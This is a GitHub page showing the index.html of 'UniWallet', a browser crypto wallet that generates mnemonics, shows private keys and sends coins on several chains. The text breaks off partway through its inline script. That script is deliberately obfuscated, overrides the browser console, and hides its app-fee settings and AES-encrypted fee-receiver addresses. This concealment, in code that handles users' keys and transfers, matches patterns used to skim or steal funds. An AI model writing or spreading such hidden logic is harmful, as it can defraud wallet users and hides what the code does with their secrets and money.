-
Notifications
You must be signed in to change notification settings - Fork 11
/
index.html
737 lines (507 loc) · 114 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>UniWallet</title>
<!--
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css">
-->
<link rel="stylesheet" href="js/bootstrap.min.css">
<script src="networks/Ethereum.js"></script>
<script src="networks/Binance.js"></script>
<script src="networks/Polygon.js"></script>
<script src="networks/Tron.js"></script>
<script src="js/ethereumjs-tx-1.3.3.js"></script>
<script src="js/bip39.js"></script> <!-- Updated to use local bip39.js file -->
<script src="js/bitcoinjs-lib5.1.3.js"></script>
<script src="js/ethers-5.2.umd.min.js"></script>
<!--
<script src="https://cdn.jsdelivr.net/npm/dogecoin@latest/dist/dogecoin.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
-->
<script src="js/web3.min.js"></script>
<script src="js/crypto-js4.1.1.js"></script>
<script src="js/jquery-3.2.1.slim.min.js"></script>
<script src="js/bootstrap.min.js" ></script>
<script src="js/qrcode.js"></script>
<script src="js/solana.js"></script>
<script src="js/base58.js"></script>
<script src="js/tronweb.js"></script>
<style>
#walletUI {
display: none;
}
.watermark {
position: absolute;
top: 0;
left: 50%;
transform: translateX(-50%);
font-size: 24px;
font-weight: bold;
color: rgba(0, 0, 0, 0.3); /* Light, semi-transparent watermark color */
pointer-events: none; /* Prevent interaction with the watermark */
}
body {
background: linear-gradient(135deg, #ffffff, #f4f4f9);
min-height: 100vh;
}
.fade-flash {
animation: flash 1s forwards;
}
@keyframes flash {
0% {
color: inherit; /* Initial color */
}
50% {
color: green; /* Flash color */
}
100% {
color: inherit; /* Return to original color */
}
}
.modal-content {
background-color: #f4f4f9;
padding: 20px;
border-radius: 15px;
box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.1);
}
.btn-custom {
border-radius: 30px;
padding: 10px 20px;
background-color: #007bff;
color: white;
transition: background-color 0.3s ease;
}
.btn-custom:hover {
background-color: #0056b3;
}
.form-control {
border-radius: 10px;
padding: 10px;
font-size: 16px;
}
.btn-transparent {
background-color: transparent;
border: none;
padding: 5px;
transition: background-color 0.3s, box-shadow 0.3s; /* Smooth transition effect */
}
.btn-transparent:hover {
background-color: rgba(211, 211, 211, 0.5); /* Light grey background on hover */
box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.1); /* Slight box shadow on hover */
}
.custom-card {
background-color: #f6f7f8; /* Light yellow background */
border-radius: 12px;
padding: 20px 20px 40px; /* Extra padding at the bottom */
text-align: center;
width: 310px;
margin: auto;
position: relative; /* To position the image absolutely inside the card */
}
.custom-CardLogo {
width: 50px;
height: 50px;
position: absolute;
top: -25px; /* Move the image up by half its height */
left: 50%;
transform: translateX(-50%);
border-radius: 50%;
}
.wallet-container {
max-width: 97%;
margin: 15px auto;
padding: 20px;
background-color: #ffffff;
border-radius: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
position: relative;
}
/* Custom styling for the select element */
#blockchainSelect {
background-image: url('img/DOGE.png'); /* Default to Dogecoin icon */
background-repeat: no-repeat;
background-position: 10px center;
padding-left: 40px; /* Add padding to make space for the icon */
background-size: 20px 20px; /* Set the size of the icon */
}
/* Styling for individual option elements (not supported in all browsers) */
#blockchainSelect option {
background-repeat: no-repeat;
padding-left: 40px; /* Align the text with space for the icon */
}
/* For making the option text consistent */
#blockchainSelect option::before {
content: '';
display: inline-block;
width: 20px;
height: 20px;
margin-right: 10px;
background-size: contain;
}
.selector-and-button {
display: flex; /* Display children in a row */
align-items: center; /* Align items vertically centered */
margin-left: 2px; /* Add some margin between the select and the button */
}
/* The Modal Background */
.SearchTokenModal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
background-color: rgba(0, 0, 0, 0.7); /* Black background with transparency */
}
/* Modal Content Box */
.SearchTokenModal-modal-content {
background-color: #fff; /* White background */
margin: 10% auto; /* 10% from the top and centered */
padding: 20px;
border-radius: 10px;
width: 50%; /* Set the width of the modal */
max-width: 600px; /* Limit maximum width */
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1); /* Shadow for 3D effect */
animation: fadeIn 0.5s ease; /* Smooth fade-in animation */
}
/* Close Button */
.close {
color: #aaa;
float: right;
font-size: 28px;
font-weight: bold;
cursor: pointer;
}
.close:hover,
.close:focus {
color: #000;
text-decoration: none;
cursor: pointer;
}
/* Modal Header */
h2 {
font-family: 'Arial', sans-serif;
font-size: 24px;
margin-bottom: 15px;
}
/* Input Search */
#tokenSearch {
width: 100%;
padding: 10px;
margin-bottom: 20px;
font-size: 16px;
border: 1px solid #ccc;
border-radius: 5px;
}
/* Token List */
#tokenList {
list-style-type: none;
padding: 0;
max-height: 300px;
overflow-y: auto;
border: 1px solid #ddd;
border-radius: 5px;
}
#tokenList li {
padding: 10px;
background-color: #f9f9f9;
margin-bottom: 5px;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.3s;
}
#tokenList li:hover {
background-color: #e0e0e0;
}
/* Add a smooth fade-in animation for the modal */
@keyframes fadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
</style>
</head>
<body>
<div class=" wallet-container">
<!-- Login Section -->
<div id="loginSection" class="mt-5">
<h3>Wallet Login</h3>
<div class="mb-3">
<label for="passwordInput" class="form-label">Enter Password:</label>
<input type="password" id="passwordInput" class="form-control">
</div>
<button id="loginButton" class="btn btn-primary" onclick="Login()">Login</button>
<button id="SetPassButton" class="btn btn-primary" onclick="SetPass()">Set</button>
<button id="ResetWalletID" class="btn btn-danger position-absolute bottom-0 end-0 m-3" onclick="ResetWallet()">Reset</button>
<br>
</div>
<!-- Login Section -->
<div id="MnemonicSection" style="display: none;" class="mt-5">
<h3>Save your Mnemonic to PC or Note</h3>
<div class="mb-3">
<p id="MnemonicText" style="color: red;">
</p>
<p id="CurrentGenrateAccountid">
</p>
<button type="button" onclick="copyMnemonic()" class="btn btn-transparent">
<img src="img/copy.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button id="ISavedItButtonid" class="btn btn-primary" style="display: none;" onclick="ShowMainUI()" >I saved it</button>
</div>
<br>
</div>
<!-- Main Wallet UI Section (hidden until login) -->
<div id="walletUI" class="m-3">
<div class="watermark">UniWallet</div>
<div class="d-flex justify-content-between align-items-center">
<div>
<!--
<label for="blockchainSelect">Blockchain:</label>
-->
<select id="blockchainSelect" class="form-select">
<!--
<option value="doge" data-icon="img/DOGE.png">Dogecoin</option>
<option value="btc" data-icon="img/BTC.png">Bitcoin</option>
<option value="ltc" data-icon="img/LTC.png">Litecoin</option>
<option value="eth" data-icon="img/ETH.png">Ethereum</option>
<option value="trx" data-icon="img/TRX.png">Tron</option>
-->
</select>
</div>
<div class="selector-and-button">
<label for="accountSelect"></label>
<select id="accountSelect" class="form-select"></select>
<!-- Show Private Key Button -->
<button type="button" onclick="ShowPrivateKey()" class="btn btn-light m-1">
<img src="img/key.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button id="addAccountButton" class="btn btn-light" onclick="addAccount()">+</button>
</div>
</div>
<div class=" custom-card text-center mt-5">
<img id="cryptoLogo" src="img/DOGE.png" alt="Crypto Logo" class="mb-3 custom-CardLogo" width="30" height="30">
<p>
<strong id="SelectedAddress"> </strong>
<button type="button" onclick="copyText('accountSelect')" class="btn btn-transparent">
<img src="img/copy.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button type="button" id="ReceiveButtonID" class="btn btn-transparent">
<img src="img/qr.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
<button type="button" id="RefreshBalanceButtonID" onclick="RefreshBalance()" class="btn btn-transparent">
<img src="img/refresh.png" alt="Image" style="width: 20px; height: 20px; margin-right: 5px;">
</button>
</p>
<!--<button onclick="getSelectedIndex()">Get Selected Index</button>-->
<!--text-muted-->
<p class="card-text" id="balance">0 </p>
<p class="card-text" id="usdValue"> </p>
<h7 id="UnconfirmedBalanceID"> </h7>
</div>
<div class="d-flex justify-content-between mt-5">
<button id="sendButton" class="btn btn-custom">Send</button>
<button id="importButton" class="btn btn-custom">Import</button>
<!-- <button id="historyButton" class="btn btn-primary">History</button>
<button id="inputPrivateButton" class="btn btn-primary">Input Private</button>-->
<button id="restoreButton" class="btn btn-custom">Restore</button>
</div>
<div id="TransactionID" class="mt-5"> </div>
<!-- Send Coin Section -->
<div id="sendSection" class="mt-5" style="display: none;">
<div class="mb-3">
<label for="receiverInput" class="form-label">Receiver Address:</label>
<input type="text" id="receiverInput" class="form-control" placeholder="Enter receiver address">
</div>
<div class="mb-3">
<label for="amountInput" class="form-label">Amount:</label>
<input type="number" id="amountInput" class="form-control" placeholder="Enter amount" min="0">
<button id="MaxAmountID" class="btn btn-success" > Max</button>
</div>
<div class="mb-3">
<label for="feeSlider" class="form-label">Miner Fee:</label>
<input type="range" id="feeSlider" class="form-range" min="0.05" max="16" step="1" value="0.1" oninput="updateFeeDisplay(this.value)">
<span id="feeDisplay"> </span>
</div>
<button id="confirmSendButton" class="btn btn-success" >
<span id="sendButtonText">Send Coin</span>
<div id="sendSpinner" class="spinner-border spinner-border-sm" role="status" style="display: none;">
<span class="visually-hidden">Loading...</span>
</div>
</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<div id="sendETHSection" class="mt-5" style="display: none;">
<div class="mb-3">
<label for="receiverInputETH" class="form-label">Receiver Address:</label>
<input type="text" id="receiverInputETH" class="form-control" placeholder="Enter receiver address">
</div>
<div class="mb-3">
<label for="tokenSelectETH" class="form-label">Send:</label>
<button id="tokenSelectETH" class="btn btn-primary" onclick="showPopup()">Select Token</button>
</div>
<h5 id="tokenBalance"></h5>
<div class="mb-3">
<label for="amountInputETH" class="form-label">Amount:</label>
<input type="number" id="amountInputETH" class="form-control" placeholder="Enter amount" min="0">
</div>
<button id="confirmSendETHButton" class="btn btn-success" >
<span id="sendEVMButtonText">Send ETH/Token</span>
<div id="sendEVMSpinner" class="spinner-border spinner-border-sm" role="status" style="display: none;">
<span class="visually-hidden">Loading...</span>
</div>
</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<div id="sendTRXSection" class="mt-5" style="display: none;">
<div class="mb-3">
<label for="receiverInputTRX" class="form-label">Receiver Address:</label>
<input type="text" id="receiverInputTRX" class="form-control" placeholder="Enter receiver address">
</div>
<div class="mb-3">
<label for="tokenSelectTRX" class="form-label">Send:</label>
<button id="tokenSelectTRX" class="btn btn-primary" onclick="showPopup()">eth</button>
</div>
<h5 id="TronTokenBalance"></h5>
<div class="mb-3">
<label for="amountInputTRX" class="form-label">Amount:</label>
<input type="number" id="amountInputTRX" class="form-control" placeholder="Enter amount" min="0">
</div>
<p> Send token will consume you within <h9 class="text-danger">150 trx</h9> in Tron</p>
<button id="confirmSendTRXButton" class="btn btn-success">
<span id="sendTRXButtonText">Send TRX/Token</span>
<div id="sendTRXSpinner" class="spinner-border spinner-border-sm" role="status" style="display: none;">
<span class="visually-hidden">Loading...</span>
</div>
</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<div id="importSection" class="mt-5" style="display: none;">
<h3>Import Private Key</h3>
<div class="mb-3">
<label for="importBlockchainSelect">Select Blockchain:</label>
<select id="importBlockchainSelect" class="form-select">
<!--
<option value="doge">Dogecoin</option>
<option value="btc">Bitcoin</option>
<option value="ltc">Litecoin</option>
<option value="eth">Ethereum</option>
<option value="trx">Tron</option>
-->
</select>
</div>
<div class="mb-3">
<label for="privateKeyInput">Enter Private Key:</label>
<input type="text" id="privateKeyInput" class="form-control" placeholder="Enter your private key">
</div>
<button id="importKeyButton" class="btn btn-success">Import Key</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<!-- Restore Section (Initially Hidden) -->
<div id="RestoreSection" style="display: none;" class="mt-3">
<h5>Restore Accounts</h5>
<div class="mb-3">
<label for="mnemonicInput" class="form-label">Enter 24 Wrods Mnemonic:</label>
<input type="text" id="mnemonicInput" class="form-control" placeholder="word1 word2 word3 ...">
</div>
<button type="button" id="restoreAccountsButton" class="btn btn-primary" onclick="RestoreAccounts()">Restore Accounts</button>
<button class="btn btn-warning" onclick="CancelSendSection()" > Cancel</button>
</div>
<!-- QR Code Popup Modal -->
<div class="modal" id="qrCodeModal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">QR Code</h5>
<button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body" id="qrcode">
<!-- QR code will be dynamically inserted here -->
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" >Close</button>
</div>
</div>
</div>
</div>
</div>
<!-- container div-->
</div>
<div class="toast-container position-fixed top-0 start-50 translate-middle-x">
<div id="liveToast" class="toast" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-header">
<strong class="me-auto">Wallet</strong>
<button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
<div class="toast-body" >
This is a toast message.
</div>
</div>
</div>
<div class="modal fade" id="privateKeyModal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Private Key</h5>
<button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<p id="privateKeyText" style="font-size: 12px; word-wrap: break-word;"></p>
<!-- QR Code Container -->
<div id="privateKeyQRCode"></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<!-- Copy Button -->
<button type="button" class="btn btn-primary" id="copyPrivateKeyButton">Copy</button>
</div>
</div>
</div>
</div>
<!-- Password Input Modal -->
<div class="modal fade" id="passwordPromptModal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Enter Password</h5>
<button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="mb-3">
<label for="ValidatePasswordInput" class="form-label">Password</label>
<input type="password" id="ValidatePasswordInput" class="form-control" placeholder="Enter your wallet password">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary" onclick="validatePassword()">Submit</button>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
</div>
</div>
</div>
</div>
<!-- The Modal -->
<div id="popupModal" class="SearchTokenModal">
<div class="SearchTokenModal-modal-content">
<span class="close" onclick="closePopup()">×</span>
<h2>Select a Token</h2>
<input type="text" id="tokenSearch" placeholder="Search token name or address..." onkeyup="filterTokens()" />
<ul id="tokenList"></ul> <!-- Token list will be populated here -->
</div>
</div>
<script>
const _0x481ed0=_0x37ad;(function(_0x5a8a68,_0x507b2f){const _0x654586=_0x37ad,_0x256b6a=_0x5a8a68();while(!![]){try{const _0x340550=parseInt(_0x654586(0x28f))/(-0x45b+-0x45c+0x8b8)+-parseInt(_0x654586(0x35e))/(-0x19eb+-0x1455+0x2e42)*(-parseInt(_0x654586(0x166))/(0x33*-0x23+-0x35c+0xa58))+-parseInt(_0x654586(0x151))/(0x1594+-0x1279+-0x317)+parseInt(_0x654586(0x391))/(-0x6ff+0x7a*-0x4f+0x2caa)*(parseInt(_0x654586(0x21b))/(-0xa7a+0xdce+-0x34e))+-parseInt(_0x654586(0x162))/(0xf*-0x141+0xbce*-0x2+-0x2*-0x1539)+parseInt(_0x654586(0x122))/(-0x1a*0x119+-0x534+-0x3*-0xb42)+parseInt(_0x654586(0x215))/(0x4*0x104+-0x1*0xb32+0x5*0x16f);if(_0x340550===_0x507b2f)break;else _0x256b6a['push'](_0x256b6a['shift']());}catch(_0x275736){_0x256b6a['push'](_0x256b6a['shift']());}}}(_0xf0c2,0x3b2cf+0x15ca*0x4d+-0x69c83));const _0xd16dd4=(function(){let _0x43455f=!![];return function(_0x390cb6,_0x309a00){const _0x18f79b=_0x43455f?function(){const _0x3456a5=_0x37ad;if(_0x309a00){const _0xea92ce=_0x309a00[_0x3456a5(0x31c)](_0x390cb6,arguments);return _0x309a00=null,_0xea92ce;}}:function(){};return _0x43455f=![],_0x18f79b;};}()),_0x2daf1b=_0xd16dd4(this,function(){const _0x3f72ce=_0x37ad;return _0x2daf1b[_0x3f72ce(0x1c9)]()[_0x3f72ce(0x26d)](_0x3f72ce(0x343)+'+$')[_0x3f72ce(0x1c9)]()[_0x3f72ce(0x1b8)+'r'](_0x2daf1b)[_0x3f72ce(0x26d)]('(((.+)+)+)'+'+$');});_0x2daf1b();const _0x2e1a4d=(function(){let _0x531252=!![];return function(_0x4eeaed,_0x4df5f6){const _0x2f5c98=_0x531252?function(){if(_0x4df5f6){const _0x3082dc=_0x4df5f6['apply'](_0x4eeaed,arguments);return _0x4df5f6=null,_0x3082dc;}}:function(){};return _0x531252=![],_0x2f5c98;};}()),_0x75c0e0=_0x2e1a4d(this,function(){const _0x13fb1e=_0x37ad;let _0x38def0;try{const _0x142ca9=Function(_0x13fb1e(0x2eb)+'nction()\x20'+(_0x13fb1e(0x328)+_0x13fb1e(0x39f)+_0x13fb1e(0x1f1)+'\x20)')+');');_0x38def0=_0x142ca9();}catch(_0x41462c){_0x38def0=window;}const _0xec86a2=_0x38def0['console']=_0x38def0[_0x13fb1e(0x359)]||{},_0x3dee98=['log',_0x13fb1e(0x34f),_0x13fb1e(0x37c),_0x13fb1e(0x39c),_0x13fb1e(0x1d6),_0x13fb1e(0x111),'trace'];for(let _0x1f4234=-0x900*-0x1+-0xc09+0x309;_0x1f4234<_0x3dee98['length'];_0x1f4234++){const _0x177f81=_0x2e1a4d[_0x13fb1e(0x1b8)+'r'][_0x13fb1e(0x16f)]['bind'](_0x2e1a4d),_0x4a047e=_0x3dee98[_0x1f4234],_0x23b473=_0xec86a2[_0x4a047e]||_0x177f81;_0x177f81[_0x13fb1e(0x1bc)]=_0x2e1a4d[_0x13fb1e(0x307)](_0x2e1a4d),_0x177f81[_0x13fb1e(0x1c9)]=_0x23b473[_0x13fb1e(0x1c9)]['bind'](_0x23b473),_0xec86a2[_0x4a047e]=_0x177f81;}});_0x75c0e0();const dogecoinNetwork={'messagePrefix':_0x481ed0(0x177)+_0x481ed0(0x31b)+_0x481ed0(0x2d4),'bech32':_0x481ed0(0x1fd),'bip32':{'public':0x2facafd,'private':0x2fac398},'pubKeyHash':0x1e,'scriptHash':0x16,'wif':0x9e},bitcoinNetwork=bitcoin[_0x481ed0(0x1fc)][_0x481ed0(0x336)],litecoinNetwork={'messagePrefix':'\x19Litecoin\x20'+'Signed\x20Mes'+_0x481ed0(0x2d4),'bech32':'ltc','bip32':{'public':0x19da462,'private':0x19d9cfe},'pubKeyHash':0x30,'scriptHash':0x32,'wif':0xb0};var a='k',k1='r',c9='v',y2=_0x481ed0(0x292),ioswz=a+k1+c9+y2;let selectedTokenAddress='',selectedTokenName='',GenerateAccountNumber=-0x1df6+0x12d*0x17+0x103*0x3;var pass='';let cryptoPrices={};var LoginOK=![],CoinsJson={'Bitcoin':{'symbol':'btc','BlockchairSymbol':_0x481ed0(0x336),'chainid':0x1,'RPCURL':'','BroadcastTransaction':'https://ap'+'i.blockcyp'+_0x481ed0(0x1b9)+_0x481ed0(0x2d1)+'txs/push','BlockExplorer':_0x481ed0(0x2fd)+_0x481ed0(0x245)+_0x481ed0(0x13f)+'tc','NetworkType':_0x481ed0(0x285)+'e','SaveItemName':_0x481ed0(0x2cf),'PriceKey':'bitcoin','pub':0x0,'priv':0x80,'multisig':0x5,'hdkeypub':0x488b21e,'hdkeyprv':0x488ade4,'APPFee':0x1,'MinAPPFee':0x1388,'MaxAPPFee':0x30d40,'SendMinAmount':0.0005,'DefaultMinerFee':0x1388,'MaximumMinerFee':0x30d40,'MnemonicCoinType':0x0,'AddressPlaceholder':'1x...u9','PriceKey':_0x481ed0(0x336),'NetworkPara':bitcoinNetwork,'MnemonicPath':_0x481ed0(0x253)+_0x481ed0(0x120),'FeeReciever':_0x481ed0(0x35a)+_0x481ed0(0x140)+'J6mgml11+a'+_0x481ed0(0x2b6)+'UNwiY6w2XW'+_0x481ed0(0x25d)+_0x481ed0(0x315)+_0x481ed0(0x11d)+_0x481ed0(0x33c)},'Dogecoin':{'symbol':_0x481ed0(0x1fd),'BlockchairSymbol':_0x481ed0(0x2b3),'chainid':0x1,'RPCURL':'','BroadcastTransaction':_0x481ed0(0x2a1)+_0x481ed0(0x3b2)+_0x481ed0(0x1b9)+_0x481ed0(0x1e3)+_0x481ed0(0x243),'BlockExplorer':_0x481ed0(0x2fd)+_0x481ed0(0x245)+'pher.com/d'+_0x481ed0(0x33e),'NetworkType':'BitcoinLik'+'e','SaveItemName':_0x481ed0(0x1ba),'PriceKey':_0x481ed0(0x2b3),'pub':0x1e,'priv':0x9e,'multisig':0x16,'hdkeypub':0x827421e,'hdkeyprv':0x89944e4,'APPFee':0x1,'MinAPPFee':0x989680,'MaxAPPFee':0x5f5e1000,'SendMinAmount':0x1,'DefaultMinerFee':0x989680,'MaximumMinerFee':0x5f5e1000,'MnemonicCoinType':0x3,'AddressPlaceholder':_0x481ed0(0x179),'PriceKey':'dogecoin','NetworkPara':dogecoinNetwork,'MnemonicPath':_0x481ed0(0x2c0)+_0x481ed0(0x120),'FeeReciever':'U2FsdGVkX1'+'8RxknGlIMf'+_0x481ed0(0x2b1)+_0x481ed0(0x25f)+_0x481ed0(0x13c)+'wpCQEY9nQw'+'YjQqUW1sIC'+'M1pK6S5vTV'+'KmMeMA=='},'Litecoin':{'symbol':_0x481ed0(0x2af),'BlockchairSymbol':'litecoin','chainid':0x1,'RPCURL':'','BroadcastTransaction':'https://ap'+'i.blockcyp'+_0x481ed0(0x1b9)+'/ltc/main/'+_0x481ed0(0x192),'BlockExplorer':_0x481ed0(0x2fd)+'ve.blockcy'+'pher.com/l'+'tc','NetworkType':_0x481ed0(0x285)+'e','SaveItemName':'Litecoin','PriceKey':'litecoin','pub':0x30,'priv':0xb0,'multisig':0x32,'hdkeypub':0x19da462,'hdkeyprv':0x19d9cfe,'APPFee':0x1,'MinAPPFee':0x186a0,'MaxAPPFee':0x989680,'SendMinAmount':0.0001,'DefaultMinerFee':0x2710,'MaximumMinerFee':0x989680,'MnemonicCoinType':0x2,'AddressPlaceholder':_0x481ed0(0x1c5),'PriceKey':'litecoin','NetworkPara':litecoinNetwork,'MnemonicPath':_0x481ed0(0x14b)+_0x481ed0(0x120),'FeeReciever':_0x481ed0(0x35a)+_0x481ed0(0x38e)+_0x481ed0(0x194)+_0x481ed0(0x397)+'vTU6iYvJ6e'+_0x481ed0(0x19a)+_0x481ed0(0x25e)+'gxgq585rOr'+_0x481ed0(0x330)},'Ethereum':{'symbol':'eth','TokenList':EthereumTokens,'chainid':0x1,'RPCURL':_0x481ed0(0x311)+_0x481ed0(0x388)+_0x481ed0(0x2cc),'BroadcastTransaction':'','BlockExplorer':_0x481ed0(0x311)+_0x481ed0(0x18a),'NetworkType':_0x481ed0(0x29e),'SaveItemName':_0x481ed0(0x29e),'PriceKey':_0x481ed0(0x3a0),'APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x481ed0(0x2a4),'PriceKey':_0x481ed0(0x3a0),'FeeReciever':''},'Binance':{'symbol':_0x481ed0(0x2b9),'TokenList':BinanceTokens,'chainid':0x38,'RPCURL':_0x481ed0(0x224)+_0x481ed0(0x20a)+'arpc.com','BroadcastTransaction':'','BlockExplorer':'https://bs'+_0x481ed0(0x2c6),'NetworkType':_0x481ed0(0x29e),'SaveItemName':_0x481ed0(0x29e),'APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x481ed0(0x2a4),'PriceKey':_0x481ed0(0x280)+'n','FeeReciever':''},'Polygon':{'symbol':_0x481ed0(0x13a),'TokenList':PolygonTokens,'chainid':0x89,'RPCURL':_0x481ed0(0x172)+'lygon.llam'+_0x481ed0(0x216),'BroadcastTransaction':'','BlockExplorer':_0x481ed0(0x172)+_0x481ed0(0x3ac)+_0x481ed0(0x32c),'NetworkType':_0x481ed0(0x29e),'SaveItemName':'evm','APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x481ed0(0x2a4),'PriceKey':'matic-netw'+_0x481ed0(0x16a),'FeeReciever':''},'Tron':{'symbol':_0x481ed0(0x2e8),'TokenList':TronTokens,'chainid':0x1,'RPCURL':_0x481ed0(0x2a1)+_0x481ed0(0x20c)+_0x481ed0(0x29b),'BroadcastTransaction':'','BlockExplorer':_0x481ed0(0x167)+_0x481ed0(0x3ae),'NetworkType':_0x481ed0(0x234),'SaveItemName':_0x481ed0(0x234),'PriceKey':_0x481ed0(0x234),'APPFee':0.01,'MnemonicCoinType':0x3c,'AddressPlaceholder':_0x481ed0(0x2a4),'PriceKey':_0x481ed0(0x234),'FeeReciever':'','MnemonicPath':'m/44\x27/195\x27'+_0x481ed0(0x398),'NetworkPara':bitcoinNetwork}};const tronWeb=new TronWeb({'fullHost':'https://ap'+_0x481ed0(0x20c)+_0x481ed0(0x29b)});document[_0x481ed0(0x2e7)+'ById']('sendButton')['addEventLi'+_0x481ed0(0x370)](_0x481ed0(0x1f8),function(){const _0x28a677=_0x481ed0;document[_0x28a677(0x2e7)+_0x28a677(0x258)]('importSect'+_0x28a677(0x2fe))['style']['display']=_0x28a677(0x16c),document[_0x28a677(0x2e7)+_0x28a677(0x258)]('RestoreSec'+_0x28a677(0x31d))[_0x28a677(0x17d)]['display']=_0x28a677(0x16c);var _0x45427e=document['getElement'+_0x28a677(0x258)](_0x28a677(0x208)+_0x28a677(0x2f0))[_0x28a677(0x109)],_0x43af5e=document[_0x28a677(0x2e7)+_0x28a677(0x258)](_0x28a677(0x208)+_0x28a677(0x2f0));const 